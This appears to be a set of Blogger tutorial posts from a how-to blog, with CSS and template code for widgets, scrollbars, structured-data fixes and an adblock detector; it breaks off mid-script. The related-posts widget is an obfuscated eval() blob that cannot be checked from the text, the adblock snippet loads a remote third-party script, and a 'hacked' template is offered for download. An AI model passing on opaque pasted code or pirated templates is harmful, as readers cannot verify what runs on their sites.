<div style='clear:both'/>
</b:if>
Step 05: Add Facebook, Twitter and YouTube links in above code and finally Save your Blogger Template. 

Customize Your Blogger Profile Click Here



Now you can need to activate "Show Author Profile widget" Just Go to Blogger>Layout>Blog Post Section> Click on Edit button and Now scroll down and tick mark the "Show Author Profile Below post" Option that i have also given picture example under this line.



Finally Save your Blogger Setting and You can all Done!!!!!

I Hope this Article is really helpful for you if you like this article so please share it on Social Media With your Friends. Thanks for Reading.

Related Post Widget with Thumbnail and Snippet

Hello and welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article about Related Post Widget with Thumbnail and Snippet. Related post can be easily displayed with plugins, but did you ever wonder how you could display related posts with a Thumbnail without using a widget? In this article i will share a widget that can be really beautiful and amazing to watch out. Display the links to related posts along with a thumbnail of the corresponding post will help you increase the page view. User will be tempted to go for the related posts when they are presented attractively with thumbnails. Actually the contents of the Javascript related post are almost the same as teh previous which is related posts with grid model thumbnail. What is different is the addition of several lines of script to call the snipped or summary and the CSS reshuffle that makes it look like a model list.



Instal Related Post Widget in Blogger



Step 01: First of all Log in to your Blogger Blog

Step 02: Just Press CTRL + F 

Step 03: Add this CSS code "Before / Above </style> or ]]></b:skin>

/* Related Post List by www.getwebinfo.com */
#ignielRelatedList{
  display:block;
  margin:20px 0px;
  line-height:1.25em;
}
#ignielRelatedList h3.title{
  font-size:16px;
  font-weight:600;
  text-align:center;
  text-transform:uppercase;
  line-height:initial;
}
#ignielRelatedList h3.title span{
  background-color:#fff;
  padding:0px 15px;
  position:relative;
  z-index:1;
}
#ignielRelatedList h3.title:before{
  content: '';
  display: block;
  position: relative;
  top:10px;
  width: 100%;
  border-top: 2px solid #cccccc;
}
#ignielRelatedList ul{
  margin:20px 0px 0px;
  padding:0px;
}
#ignielRelatedList ul li{
  list-style:none;
  margin-bottom:15px;
  padding-bottom:15px;
  border-bottom:1px solid #ccc;
  -webkit-margin-start:0px !important;
  display:inline-block;
  width:100%;
  clear:both;
}
#ignielRelatedList ul li:last-child{
  border:0px;
  padding:0px;
}
#ignielRelatedList ul li .thumb{
  overflow:hidden;
  line-height:0px;
  border-radius:7px;
  float:left;
  margin-right:15px;
}
#ignielRelatedList ul li a{
  display:block;
}
#ignielRelatedList ul li a.judul{
  color:#000; /* Warna Huruf */
  font-weight:600;
  font-size:16px;
  overflow:hidden;
  line-height:1.25em;
}
#ignielRelatedList ul li .snippet{
  color:#444;
  font-size:13px;
  overflow:hidden;
  margin:7px 0px 0px;
  padding:0px;
}
#ignielRelatedList ul li a.judul:hover, #ignielRelatedList ul li:hover a.judul{
  color:#ff5722; /* Warna Huruf Ketika Disorot */
}
#ignielRelatedList ul li a img{
  width:120px;
  height:90px;
  transition:all .3s ease;
  border:0px;
  margin:0px;
}
#ignielRelatedList ul li a img:hover, #ignielRelatedList ul li:hover img{
  transform:scale(1.1) rotate(-5deg);
  filter: brightness(75%);
  -webkit-filter: brightness(75%);
}
#ignielRelatedList .norelated{
  text-align:center;
  font-weight:600;
}
@media screen and (max-width:480px){
  #ignielRelatedList ul li a.judul{
    font-size:14px;
  }
  #ignielRelatedList ul li .snippet{
    font-size:12px;
  }
}

Step 04: Now again Search this code <data:post.body/> and Paste the below code just After / Under <data:post.body/>

<!-- Related Post List by www.getwebinfo.com -->
<b:if cond='data:view.isPost'>
  <div id='ignielRelatedList'>
    <h3 class='title'><span>Related Posts</span></h3>
    <script>//<![CDATA[
      var jumlah = 6;
      var kata = 150;
      eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('d a=["\\w","\\q\\L\\g\\j\\h","\\g\\e\\l\\I\\h\\G","\\v","\\j\\l\\D\\e\\1X\\1d\\T","\\q\\E\\Z\\q\\h\\p\\j\\l\\I","","\\1o\\K\\j\\l","\\e\\l\\h\\p\\1x","\\T\\e\\e\\D","\\1E\\h","\\h\\j\\h\\g\\e","\\Q\\K\\l\\h\\e\\l\\h","\\q\\E\\z\\z\\f\\p\\1x","\\z\\e\\D\\j\\f\\1E\\h\\G\\E\\z\\Z\\l\\f\\j\\g","\\E\\p\\g","\\D\\f\\h\\f\\2p\\j\\z\\f\\I\\e\\C\\L\\l\\I\\2n\\Z\\f\\q\\e\\1K\\1G\\2q\\j\\1u\\1B\\1d\\1N\\1j\\1r\\2r\\2u\\I\\K\\b\\b\\b\\b\\1H\\1n\\1g\\G\\W\\1g\\I\\b\\b\\b\\b\\W\\b\\b\\b\\b\\1B\\O\\b\\1v\\b\\b\\b\\O\\1a\\D\\1P\\2c\\e\\b\\b\\b\\b\\b\\2s\\1H\\O\\1n\\1u\\1a\\1v\\O\\b\\1o\\Z\\1G\\1g\\C\\I\\b\\b\\b\\b\\2l\\W\\g\\W\\1a\\1u\\1a\\1v\\z\\2d\\1d\\K\\p\\1K\\2k\\2t\\b\\b\\1M\\2i\\b\\2j\\2g\\1p\\1d\\1Q\\1S\\1J\\b\\b\\b\\b\\b\\W\\g\\1Q\\1J\\1q\\1n\\E\\1a\\z\\O\\O","\\g\\j\\l\\1q","\\p\\e\\g","\\f\\g\\h\\e\\p\\l\\f\\h\\e","\\G\\p\\e\\T","\\p\\f\\l\\D\\K\\z","\\T\\g\\K\\K\\p","\\1g\\1N\\1M","\\w\\g\\j\\v","\\w\\D\\j\\1p\\y\\Q\\g\\f\\q\\q\\M\\n\\h\\G\\E\\z\\Z\\n\\v\\w\\f\\y\\G\\p\\e\\T\\M\\n","\\n\\y\\h\\j\\h\\g\\e\\M\\n","\\n\\v\\w\\j\\z\\I\\y\\q\\p\\Q\\M\\n","\\C\\1j\\1P\\1S\\1r\\1b\\G\\1Z\\1r\\1b\\L\\1b\\1q\\1b\\l\\K\\1b\\l\\E","\\p\\e\\L\\g\\f\\Q\\e","\\n\\y\\f\\g\\h\\M\\n","\\n\\C\\v\\w\\C\\f\\v\\w\\C\\D\\j\\1p\\v","\\w\\f\\y\\G\\p\\e\\T\\M\\n","\\n\\y\\Q\\g\\f\\q\\q\\M\\n\\1o\\E\\D\\E\\g\\n\\v","\\w\\C\\f\\v","\\w\\q\\L\\f\\l\\y\\Q\\g\\f\\q\\q\\M\\n\\q\\l\\j\\L\\L\\e\\h\\n\\v","\\y\\1m\\1m\\1m\\y\\w\\C\\q\\L\\f\\l\\v","\\w\\C\\g\\j\\v","\\1j\\p\\j\\h\\e"];d R=0,o=J H(),u=J H(),B=J H();F=J H();1c 1O(t,Y){d k=t[a[1]](a[0]);P(d m=0;m<k[a[2]];m++){x(k[m][a[4]](a[3])!=-1){k[m]=k[m][a[5]](k[m][a[4]](a[3])+1,k[m][a[2]])}};k=k[a[7]](a[6]);k=k[a[5]](0,Y-1);1t k}1c 2f(Y){P(d k=0;k<Y[a[9]][a[8]][a[2]];k++){d t=Y[a[9]][a[8]][k];o[R]=t[a[11]][a[10]];1h=a[6];x(a[12]1i t){1h=t[a[12]][a[10]]}1w{x(a[13]1i t){1h=t[a[13]][a[10]]}};F[R]=1O(1h,2h);x(a[14]1i t){1l=t[a[14]][a[15]]}1w{1l=a[16]};B[R]=1l;P(d m=0;m<t[a[17]][a[2]];m++){x(t[a[17]][m][a[18]]==a[19]){u[R]=t[a[17]][m][a[20]];1k}};R++}}1c 1R(1s,k){P(d m=0;m<1s[a[2]];m++){x(1s[m]==k){1t!0}};1t!1}1c 2e(){d S=J H(0);d V=J H(0);d U=J H(0);d X=J H(0);P(d i=0;i<u[a[2]];i++){x(!1R(S,u[i])){S[a[2]]+=1;S[S[a[2]]-1]=u[i];V[a[2]]+=1;V[V[a[2]]-1]=o[i];U[a[2]]+=1;U[U[a[2]]-1]=F[i];X[a[2]]+=1;X[X[a[2]]-1]=B[i]}};o=V;u=S;F=U;B=X;P(d i=0;i<o[a[2]];i++){d A=1e[a[22]]((o[a[2]]-1)*1e[a[21]]());d 1F=o[i];d 1I=u[i];d 1A=F[i];d 1z=B[i];o[i]=o[A];u[i]=u[A];F[i]=F[A];B[i]=B[A];o[A]=1F;u[A]=1I;F[A]=1A;B[A]=1z};d 1f=0;d r=1e[a[22]]((o[a[2]]-1)*1e[a[21]]());d 1L=r;d N;d 1D=1y[a[23]];2m(1f<1C){x(u[r]!=1D){N=a[24];N+=a[25]+u[r]+a[26]+o[r]+a[27]+B[r][a[29]](/\\/s[0-9]+(\\-c)?/,a[28])+a[2o]+o[r]+a[26]+o[r]+a[2v];N+=a[1Y]+u[r]+a[1T]+o[r]+a[1U];N+=a[1V]+F[r]+a[1W];N+=a[2b];1y[a[2a]](N);1f++;x(1f==1C){1k}};x(r<o[a[2]]-1){r++}1w{r=0};x(r==1L){1k}}}',62,156,'||||||||||_0x7d7f|x41||var|x65|x61|x6C|x74|_0x8ebex12|x69|_0x8ebex8|x6E|_0x8ebex9|x27|judul|x72|x73|_0x8ebex19||_0x8ebex6|urls|x3E|x3C|if|x20|x6D|_0x8ebex13|gambar|x2F|x64|x75|snippet|x68|Array|x67|new|x6F|x70|x3D|_0x8ebex1b|x43|for|x63|rel|_0x8ebexe|x66|_0x8ebex10|_0x8ebexf|x45|_0x8ebex11|_0x8ebex7|x62|||||||||||x51|x2D|function|x4F|Math|_0x8ebex18|x55|postcontent|in|x77|break|postimg|x2E|x53|x6A|x76|x6B|x30|_0x8ebexc|return|x56|x49|else|x79|document|_0x8ebex17|_0x8ebex16|x42|jumlah|_0x8ebex1c|x24|_0x8ebex14|x34|x4E|_0x8ebex15|x54|x36|_0x8ebex1a|x4C|x52|filter|x31|x46|contains|x32|33|34|35|36|x78|32|x39|||||||||||38|37|x50|x57|ignielRelatedList|relpostimgcuplik|x37|kata|x2B|x58|x38|x44|while|x3B|30|x3A|x2C|x4B|x33|x48|x47|31'.split('|'),0,{}));
      //]]></script>
    <b:if cond='data:post.labels'>
      <b:loop values='data:post.labels' var='label'>
        <script expr:src='"/feeds/posts/default/-/" + data:label.name + "?alt=json-in-script&amp;callback=relpostimgcuplik&amp;max-results=25"'/>
      </b:loop>
      <ul>
        <script>ignielRelatedList();</script>
      </ul>
      <b:else/>
      There is no other posts in this category.
    </b:if>
  </div>
  <div class='clear'/>
</b:if>
Step 05: Now you can Save your Blogger Blog Template Setting and You can all Done!!!!!

I Hope this article is really helpful for you. If you like this article so please share it social media with Your Friends, Thanks for Reading!!!!!

Download Fastify Blogger Template

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to Download Fastify Responsive Blogger Template Hacked Version for free. Fastify is a powerful blogger template when it comes to making money from adsense, since it comes with several strategic areas to add your ads. And of course, Fastify is fully optimized to load faster, which is great for increasing the the visibility of your site in search engines. You can also being able to change its footer credit with your own blogger address.

Download Fastify Blogger Template


Here is the picture of the Fastify Responsive Blogger Template.




Google Page Speed Insight 





Here is GTmetrix Check





Fastify Responsive Blogger Template Free Download
GetWebInfo.Com File Size 35kb
Responsive Fastify Blogger Template.

How to Customize Blogger Scrollbar with CSS

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest article About Scroll Bar in Blogger. In this article i will help you to improve the appearance of the scroll bar, for the moment only in Webkit Browsers, Such as Opera, Chrome, Safari, UC Browser etc.



If you wish to customize blogger scrollbar to give your blog an attractive look, this list will let you do that with simple CSS. In fact, you are also going to have some blogger scrollbar styles to implement in your blog within few clicks. You may have already seen that many web icons like Google and Facebook are using their own scrollbar to their websites. Actually a unique look is important to improve user experience of your blog. Implementing one of the following stylish blogger scrollbar designs will give an additional improvement of your blogs overall beauty. As a matter of fact if you are not a web designer, you can simply grab any of the following blogger scrollbar styles.



How to Customize Blogger Scrollbar with CSS?

It is very easy to customize the default browser scrollbar. Actually ost of the third party blogger template developer does not implement a custom scrollbar in their template. So you have to do it by yourself. Simply follow the following instructions step by step.

Step 01: First of all LogIn to your blogger bloge.

Step 02: Go to the Theme> Edit HTML and fin out the ending " ]]></b:skin> " code.



Step 03: Grab your desired blogger scrollbar style code from the list given below and paste it right above the ]]></b:skin> as show above.



Step 04: Finally Click on Save Theme button and you can all done!!

Now just click on your blogger home page link and see the result and also make sure that it will work properly or not.


Here is the List of ScrollBar Styles



Style 1

body::-webkit-scrollbar {
  width: 8px;
}
body::-webkit-scrollbar-track {
  background-color: rgba(0, 0, 0, 0.4);
  border-radius: 10px;
}
body::-webkit-scrollbar-thumb {
  background-color: #dfdfdf;
  border-radius: 10px;
}


Style 2

body::-webkit-scrollbar {
  width: 5px;
}
body::-webkit-scrollbar-track {
  background-color: rgba(255, 255, 255, 0.1);
  border-radius: 10px;
}
body::-webkit-scrollbar-thumb {
  background-color: #11171a;
  border-radius: 10px;
}


Style 3

body::-webkit-scrollbar {
  width: 10px;
}
body::-webkit-scrollbar-track {
  background-color: transparent;
  border-radius: 10px;
}
body::-webkit-scrollbar-thumb {
  background-color: rgba(0, 0, 0, 0.4);
  border-radius: 10px;
}


Style 4

body::-webkit-scrollbar {
  width: 12px;
}
body::-webkit-scrollbar-track {
  border-radius: 10px;
  background-color: rgba(0, 0, 0, 0.4);
}
body::-webkit-scrollbar-thumb {
  background-color: #e78632;
  background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.3) 20%,transparent 20%,transparent 40%,rgba(255, 255, 255, 0.3) 40%,rgba(255,255,255,.3) 60%,transparent 60%,transparent 80%,rgba(255, 255, 255, 0.3) 80%);
  border-radius: 10px;
}


Style 5

body::-webkit-scrollbar {
  width: 15px;
}
body::-webkit-scrollbar-track {
  border-radius: 10px;
  background-color: rgba(255, 255, 255, 0.1);
}
body::-webkit-scrollbar-thumb {
  background-image: linear-gradient(45deg, #00aeff, #a68eff);
  border-radius: 10px;
  -webkit-box-shadow: rgba(0,0,0,.12) 0 3px 13px 1px;
}



Style 6

body::-webkit-scrollbar {
  width: 12px;
}
body::-webkit-scrollbar-track {
  border-radius: 10px;
  background-color: rgba(0, 0, 0, 0.4);
}
body::-webkit-scrollbar-thumb {
  background-color: #aab74d;
  background-image:-webkit-linear-gradient(rgba(255,255,255,.3) 20%,transparent 20%,transparent 40%,rgba(255, 255, 255, 0.3) 40%,rgba(255,255,255,.3) 60%,transparent 60%,transparent 80%,rgba(255, 255, 255, 0.3) 80%);
  border-radius: 10px;
}


After put one of these codes in to your blogger blog press the Apply button to save the changes you that you want.

I Hope this Article is really helpful for you. If you like this article so please share it on Social Media with your Friends. Thanks for Reading.

How to Fix Structured Data Hatom Errors in Blogger

Hello and wlecome to GetWebInfo.Com. Here on this post you can be able to know that How can you Fix Structured Data Hatom Errors in Blogger. The Structure Data is very important for a site and it is used for better display your site on major search engine result pages. Today you will the first tutorial of it kind of Blogger blogs where you will learn how to fix Structured Data errors in BlogSpot templates. In your webmaster tools Search Appearance tab or while using Google rich snippets tool, you must have come across two or all of these famous microformat markup errors.




These Three Types of Warning you can see in your Google Search Console panel.

  • Warning: Missing required field "entry-title"
  • Warning: Missing required field "updated" 
  • Warning: Missing required hCard "author" 




Both wordpress and Blogger users are facing this trouble. We will be covering blogger troubleshoot guide today and will cover wordpress Genesis platform as soon as possible.

Note: This type of Method fixed all errors on your network sites and those of your client. Dropping errors by 100%.


Here you can see that only one issue can appear in my website Structure Data. You can see this picture in your website search console setup and try your best to solve these issue.

What is Schema.Org?



Schemas are simply html tags, that webmasters can use to markup their pages in ways recognized by Bing, Google, Yahoo! and Yandex. All these search engines rely on this markup to improve the display of search results, Making it easier for people to find their right web pages. 

Schema is a structured data vocabulary that defines entities, actions and relationships on the internet (webpages, emails etc).

This vocabulary makes it possible for search engines to understand the meanings behind subject mater (entities) on the web and in turn serve a better user experience for internet users. 

What is Rich Snippets?



In 2009, Google decided to reshape the way search results are displayed. This was a good step and search pages got a whole new look to help users find more information on a large varied of subjects includeing people, food recipes, events and Product reviews.

Fixing Missing Fields in Blogger



In order to fix the missing entry-titiles, updates and author errors, we will introduced some schema tags inside your blogger template that will tell search engines how to pick the correct title, Author name and published date of the post. The hatom items with errors what you see in webmasters tool compose of author and updated field which we will fix here. 

Fixing hCard error

Step 01: Go to Blogger> Template

Step 02: Backup your Template

Step 03: Click "Edit HTML"

Step 04: Search for this code


<span class='post-author vcard' >
                <b:if cond='data:top.showAuthor'>
                  <b:if cond='data:post.authorProfileUrl'>
                    <span class='fn'>
                      <a expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
                        <data:post.author/>
                      </a>
                    </span>
                  <b:else/>
                    <span class='fn'><data:post.author/></span>
                  </b:if>
                </b:if>
              </span>

The above HTML Dom could look different in custom blogger templates. In that case only make sure to locate the yellow highlighted codes. You just need to find a similar code as show above. It does not need to be exactly the same.

Step 05: Replate the above chunk of similar code that you found with this one:


<span class='post-author vcard' itemscope='itemscope'  itemtype='http://schema.org/Person'>
                <b:if cond='data:top.showAuthor'>
                  <b:if cond='data:post.authorProfileUrl'>
                    <span class='fn author'>
                      <a expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
                        <span itemprop='name'><data:post.author/></span>
                      </a>
                    </span>
                  <b:else/>
                    <span class='fn author'><span itemprop='name'><data:post.author/></span></span>
                  </b:if>
                </b:if>
              </span>

If you observe clearly we simply introduced an itemtype, a class of author and a name. All these three important classes do the magic of fixing the missing hcard error!

Step 06: Now you can save your blogger template.

Now you can Visit Rich Snippets testing tool, insert your URL and you will find that the hCard error is all gone!



Fixing updated error 

Lets now fix the problem of Missing :updated error. Google must know about the publish date of your post. For that we will enclose the post timestamp inside a new class of updated. Follow these instructions.

Step 01: Inside your template search for this code:

<data:post.timestamp/>
Step 02: You will find the above code twice or in some template this code appear three time. Replate it twice or three with the code given below:

<span class='updated'><data:post.timestamp/></span>
Step 03: Now you can just save your blogger template and you are almost done!

Visit again the rich snippet tool and amazingly you will see that updated filled just works fine now:



Fixing entry-title error

Note: Ignore this type of errors if you are not facing entry-title errors.

This error only occurs with custom blogger templates which are designed carelessly and are not well optimized. If you are facing this problem then here is the solution that can help you out to free from this issue.

Step 01: Inside blogger search for this code


<b:if cond='data:post.title'>
      <h3 class='post-title'>

It could be h2 in your case.

Step 02: Replace the above code with this one twice:

<b:if cond='data:post.title'>
      <h3 class='post-title'>

Step 03: Save your template and you are all done!

Item with Errors

Within next 24 hours, webmaster will update your Structured Data and will show zero for items with errors. The number of these items actually indicate your post count. This number would be as large as the total number of posts and pages on your blog. Since we have cleaned up the schema errors inside your template, therefore within next 24 hours or more Google will start showing a green signal for structured data.

I Hope this article is really helpful for you if you like this article so please share it with your friends on Social Media. Thanks for Reading.

How to Install Adblocke Detector in Blogger

Hello and Welcome to GetWebInfo.Com. Here on this post you can be able to find out Latest Article about Adblock Detector for Blogger. Here on this post i can explain that How to Install Adblock Detector in Blogger and also give the code that can be very important for your blogger blog. For most of the bloggers, entrepreneurs and content writers showing ads on their websites is the only way for them to earn some money. But ads take very long time to load that's why most of the user Install Adblock Extension in to their browser and avoid ads and decreasing the page loading time which effect the earning of website owners.



Install Adblock Killer in Blogger

Step 01: Go to Blogger Bloge Dashboard

Step 02: Go to your Blogger Theme or Template Section

Step 03: Now click on Edit HTML

Step 04: Now search for </head>

Step 05: Copy the code provided below and paste it just above the </head> tag.

<style type='text/css'>
/* Animation */
@keyframes fadeInDown{0%{opacity:0;transform:translateY(-20px)}100%{opacity:1;transform:translateY(0)}}
@keyframes rubberBand{from{transform:scale3d(1,1,1)}30%{transform:scale3d(1.25,0.75,1)}40%{transform:scale3d(0.75,1.25,1)}50%{transform:scale3d(1.15,0.85,1)}65%{transform:scale3d(.95,1.05,1)}75%{transform:scale3d(1.05,.95,1)}to{transform:scale3d(1,1,1)}}
/* Say Hi to Adblock */
#arlinablock{background:rgba(0,0,0,0.65);position:fixed;margin:auto;left:0;right:0;top:0;bottom:0;overflow:auto;z-index:999999;animation:fadeInDown 1s}
#arlinablock .header{margin:0 0 15px 0}
#arlinablock .inner{background:#e3482d;color:#fff;box-shadow:0 5px 20px rgba(0,0,0,0.1);text-align:center;width:600px;padding:40px;border-radius:5px;margin:7% auto 2% auto;animation:rubberBand 1s}
#arlinablock button{padding:10px 20px;border:0;background:rgba(0,0,0,0.15);color:#fff;margin:20px 5px;cursor:pointer;transition:all .3s}
#arlinablock button:hover{background:rgba(0,0,0,0.35);color:#fff;outline:none}
#arlinablock button.active,#arlinablock button:hover.active{background:#fff;color:#222;outline:none}
#arlinablock .fixblock{background:#fff;text-align:left;color:#000;padding:20px;height:250px;overflow:auto;line-height:30px}
#arlinablock .fixblock div{display:none}
#arlinablock .fixblock div.active{display:block}
#arlinablock ol{margin-left:20px}
@media(max-width:768px){#arlinablock .inner{width:calc(100% - 20px);margin:10px auto;padding:15px}}
</style>
<script type='text/javascript'>
//<![CDATA[
// Say Hi to Adblock
function downloadJSAtOnload(){var e=document.createElement("script");e.src="https://cdn.jsdelivr.net/gh/Arlina-Design/quasar@master/arlinablock.js",document.body.appendChild(e)}window.addEventListener?window.addEventListener("load",downloadJSAtOnload,!1):window.attachEvent?window.attachEvent("onload",downloadJSAtOnload):window.onload=downloadJSAtOnload;
//]]>
</script>
Now you can save your Blogger Template Setting and you can all Done!!!!!

After installing this Adblock Killer in your blogger blog simply you have to save your template or theme and now you have to go and visit your website by enabling your ad blocker extension. When you will visit your website if your Adblock extension is On you will see a friendly popup which will as you to disable that Adblock extension in order to view that webpage.

I Hope this Article is really helpful for you if you like this article so please share it on Social Media with your Friends and thanks for Reading !!!!!

How to Add Scroll to Top and Bottom with Disqus Recent Comments in Blogger

Hello and Welcome to GetWebInfo.Com. Here on this post ou can be able to find out Latest Article about Scroll able Top and Bottom widget with Disqus Recent Comments system in Blogger. Do you want to add scroll to top and bottom buttons with disqus recent comments. Like mine? I think you want this one. In this article i will share the source code of this scroll to top and bottom buttons with disqus.com recent comments system.



In this article you will have to follow some steps to add this scroll to top and bottom buttons with disqus.com recent comments systems in blogger you can also follow these steps to add this kind of scroll to top and bottom with disqus.com recent comments in WordPress.

Add Scroll to Top and Bottom Widget in Blogger

Step 1: Firlst of All Log in to Your Blogger Blog

Step 2: Go to Theme or Template Section

Step 3: Click on Edit HTML button

Step 4: Now Use command from your keyboard and press CTRL+F

Step 5: When search bar appear then Write </head> in Search box and Press Enter

Step 6: Now copy the code provided below and paste if before the tag we founded in above step.


<style type='text/css'>
body{font-family:-apple-system,BlinkMacSystemFont,"Roboto","Segoe UI","Oxygen-Sans","Ubuntu","Cantarell","Helvetica Neue",sans-serif;padding:0 10px}
a {text-decoration:none}
.post_img img{position:relative;width:100%;height:auto;border-radius:16px;overflow:hidden}
/* === Animation === */
.ripple_animate{position:relative;overflow:hidden;transition:all 0.2s ease;z-index:0}.ink{display:block;position:absolute;background:rgba(255,255,255,0.3);border-radius:100%;transform:scale(0)}.animate{animation:ripple 0.65s linear}@keyframes ripple{100%{opacity:0;transform:scale(2.5)}}@keyframes fadeInDown{0%{opacity:0;transform:translateY(-20px)}100%{opacity:1;transform:translateY(0)}}@keyframes rubberBand{from{transform:scale3d(1,1,1)}30%{transform:scale3d(1.25,0.75,1)}40%{transform:scale3d(0.75,1.25,1)}50%{transform:scale3d(1.15,0.85,1)}65%{transform:scale3d(.95,1.05,1)}75%{transform:scale3d(1.05,.95,1)}to{-webkit-transform:scale3d(1,1,1);transform:scale3d(1,1,1)}}@keyframes bounceInLeft{from,60%,75%,90%,to{animation-timing-function:cubic-bezier(0.215,0.610,0.355,1.000)}0%{opacity:0;transform:translate3d(-3000px,0,0)}60%{opacity:1;transform:translate3d(25px,0,0)}75%{transform:translate3d(-10px,0,0)}90%{transform:translate3d(5px,0,0)}to{transform:none}}@keyframes slideInRight{from{transform:translate3d(100%,0,0);visibility:visible;-webkit-backface-visibility:hidden}to{transform:translate3d(0,0,0)}}@keyframes slideInDown{from{transform:translate3d(0,100%,0);visibility:visible;-webkit-backface-visibility:hidden}to{transform:translate3d(0,0,0)}}@keyframes slideInTop{from{transform:translate3d(0,-100%,0);visibility:visible;-webkit-backface-visibility:hidden}to{transform:translate3d(0,0,0)}}
/* === ToTop CSS === */
#blogToTop{display:;position:fixed;bottom:49%;right:0px;cursor:pointer;list-style:none;-webkit-transform:translateZ(0);transform:translateZ(0);z-index:99}
#blogToTop a{background:#fff;position:relative;overflow:hidden;display:inline-block;margin:-5px auto;padding:10px 14px;box-shadow:0 2px 3px rgba(0,0,0,0.06),0 2px 3px rgba(0,0,0,0.1)}
#blogToTop a:hover{box-shadow:0 5px 15px rgba(0,0,0,0.15),0 2px 6px rgba(0,0,0,0.12)}
#top{position:absolute;top:0}
#blogToTop li:nth-child(1){animation:slideInTop .5s}
#blogToTop li:nth-child(2){animation:slideInRight .5s}
#blogToTop li:nth-child(3){animation:slideInDown .5s}
.drawer-header{background:#2e9eff;color:#fff;height:auto;padding:15px;overflow:hidden}
.drawer-header h4{font-size:18px;float:left;color:#fff;margin:0;padding:0}
.drawer-header img{max-width:100%;height:auto;float:right}
#blogToTop .viewport-show{color:#27A0DC;transition:all .6s}
#blogToTop .viewport-show:hover{color:#27A0DC}
/* === Disqus Comments === */
.viewport-show:hover svg{animation:rubberBand 1s}
#disqus_viewport{background:#fff;position:fixed;z-index:999;width:23.5%;top:0;right:-769px;bottom:0;transition:all .5s}
#disqus_viewport.active{right:0}
#drawer_overlay.active{background:rgba(53,58,61,.93);position:fixed;z-index:997;overflow:hidden;width:100%;height:100%;top:0;left:0}
#disqus_viewport .drawer-close{position:fixed;margin-left:-40px;margin-top:16px;color:#fff;transition:all .3s}
#disqus_viewport .drawer-close svg{transform:rotate(180deg);transition:all .3s}
#disqus_viewport .drawer-close:hover svg{transform:rotate(360deg)}
#RecentComments{display:block;width:100%;margin:0 auto;padding:0;height:100%}
#RecentComments ul.dsq-widget-list{background:#f6f7f9;text-align:left;max-height:95%;overflow:auto;overflow-x:hidden}
#RecentComments img.dsq-widget-avatar{margin:0 10px 0 0;width:32px;height:32px;padding:0;float:left;border-radius:3px;clear:both;display:block}
#RecentComments p.dsq-widget-meta{clear:both;font-size:80%;margin-top:5px;font-weight:400}
#RecentComments p.dsq-widget-meta a{display:inline-block;width:48%;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;color:#ced6e0;font-size:12px}
#RecentComments p.dsq-widget-meta a:hover{color:#a4b0be}
#RecentComments li.dsq-widget-item{background:#fff;margin:10px;padding:10px;clear:both;color:#888;border-radius:5px;border-bottom:2px solid rgba(0,0,0,0.08)}
#RecentComments a.dsq-widget-user{display:table;color:#5cb767;font-weight:600;font-size:14px;margin:7px 0 0 0}
#RecentComments a.dsq-widget-user:hover{color:#2e87e7}
#RecentComments span.dsq-widget-comment{display:block;clear:both;margin:20px 10px 10px 0}
#RecentComments .dsq-widget-comment p{display:inline-block;font-size:13px;color:#444;margin:0;font-weight:400;line-height:1.5}
#RecentComments .dsq-widget-item pre{background:#f1f2f6;position:relative;color:#111;font-family:monospace;line-height:normal;overflow:hidden;text-overflow:ellipsis;padding:10px;margin:5px 0;border-radius:3px;font-size:12px}
#RecentComments .dsq-widget-item pre code{color:#000;padding:0}
#disqus_viewport.active #RecentComments li.dsq-widget-item{animation:bounceInLeft 1.5s}
#RecentComments .dsq-widget-comment p a{color:#ced6e0}
#RecentComments .dsq-widget-comment p a:hover{color:#a4b0be}
@media screen and (max-width:1080px){#disqus_viewport{width:35%}}
@media screen and (max-width:640px){#disqus_viewport{width:100%}#disqus_viewport .drawer-close{background:#535c68;font-size:35px;font-weight:700;color:#fff;display:block;text-align:left;margin:0;padding:0 15px;position:relative}}
</style>
<script type='text/javascript'>
//<![CDATA[
// Blogger blogToTop
jQuery(document).ready(function(){var o=220,r=600;jQuery(window).scroll(function(){jQuery(this).scrollTop() > o?jQuery("#blogToTop").fadeIn(r):jQuery("#blogToTop").fadeOut(r)})});
$(function(){$("a[href*=#]:not([href=#])").click(function(){if(location.pathname.replace(/^\//,"")==this.pathname.replace(/^\//,"")&&location.hostname==this.hostname){var t=$(this.hash);if(t=t.length?t:$("[name="+this.hash.slice(1)+"]"),t.length)return $("html,body").animate({scrollTop:t.offset().top},600),!1}})});
// Disqus Comments
$(function(){$(".viewport-show").on("click",function(){$("#disqus_viewport").addClass("active").focus()});$(".drawer-close").on("click",function(){$("#disqus_viewport").removeClass("active")})});
$(function(){$(".viewport-show").on("click",function(){$("#drawer_overlay").addClass("active").focus()});$(".drawer-close").on("click",function(){$("#drawer_overlay").removeClass("active")})});
$("#RecentComments a").filter(function(){return this.hostname&&this.hostname!==location.hostname}).attr('rel', 'nofollow noopener').attr('target', '_blank');
//]]>
</script>
Step 7: After this step please search again for this one <body

Step 8: Copy the code provided below and paste it before starting body tag which we have founded in above step.

<div id='drawer_overlay'></div>
<div id='disqus_viewport'>
<a class='drawer-close' href='javascript:;' title='Kapat'><svg width="20" height="20" fill="#fff" viewBox="0 0 1792 1792"><path d="M1490 1322q0 40-28 68l-136 136q-28 28-68 28t-68-28l-294-294-294 294q-28 28-68 28t-68-28l-136-136q-28-28-28-68t28-68l294-294-294-294q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 294 294-294q28-28 68-28t68 28l136 136q28 28 28 68t-28 68l-294 294 294 294q28 28 28 68z"/></svg></a>
<div class='drawer-header'><h4>Notifications</h4><img alt="Disqus Logo" src="https://2.bp.blogspot.com/-6JP-U3AVfjA/Wur_sfyoA2I/AAAAAAAAIA4/vEH3bNd-9y4Ileu-fO3ogcAfne4qj_DmACLcBGAs/s1600/Disqus.png" title="Disqus"/></div>
<div class='dsq-widget' id='RecentComments'>
<script defer='defer' type='text/javascript'>
//<![CDATA[
